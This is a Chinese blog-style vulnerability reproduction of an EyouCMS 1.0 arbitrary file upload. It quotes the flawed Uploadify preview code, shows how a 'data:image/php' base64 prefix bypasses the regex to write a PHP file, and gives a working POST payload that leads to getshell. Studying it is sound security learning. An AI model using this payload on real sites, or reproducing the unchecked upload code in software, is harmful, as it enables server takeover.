既然自己挖不到getshell的洞,就来复现一下别人的,学习学习思路。
cms
官网:http://www.eyoucms.com/download/
Cms下载地址:http://www.eyoucms.com/eyoucms1.0.zip
漏洞出现位置
页面:http://127.0.0.1/index.php/api/Uploadify/preview
代码位置 application\api\controller\Uploadify.php
漏洞分析
漏洞在第201行的preview函数开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| //获取 原始数据的只读流 $src = file_get_contents('php://input'); //正则判断,图片base64编码数据 //绕过正则 data:image/php;base64 if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) { $previewUrl = sprintf( "%s://%s%s", isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http', $_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI'] ); //获取路径 $previewUrl = str_replace("preview.php", "", $previewUrl); //获取base64数据 $base64 = $matches[2]; //获取base64后缀 此时为php $type = $matches[1];
//判断type是否是jepg,若为jepg则type就为jpg //所以构造后缀为php //例如:data:image/php;base64。此时type=php //而下面判断是$type等于jepg赋值为jpg,后缀完美可外部控制 if ($type === 'jpeg') { $type = 'jpg'; } //设置文件名称 $filename = md5($base64).".$type"; //这里我们可以控制为php //设置文件路径 $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;
//判断文件是否存在,如果存在 返回文件路径 if (file_exists($filePath)) { die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}'); } else { //将外部的base64数据解码 $data = base64_decode($base64); //写入文件,生成文件 file_put_contents($filePath, $data); die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}'); } } else { die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}'); } } }
|
此漏洞正则背锅,仅仅以data:image/作为图片,而忽略了data:image/php,即可绕过。
漏洞演示
在 http://127.0.0.1/index.php/api/Uploadify/preview 处,post数据 data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
.即可得到文件路径。用域名+后面部分,即可getshell。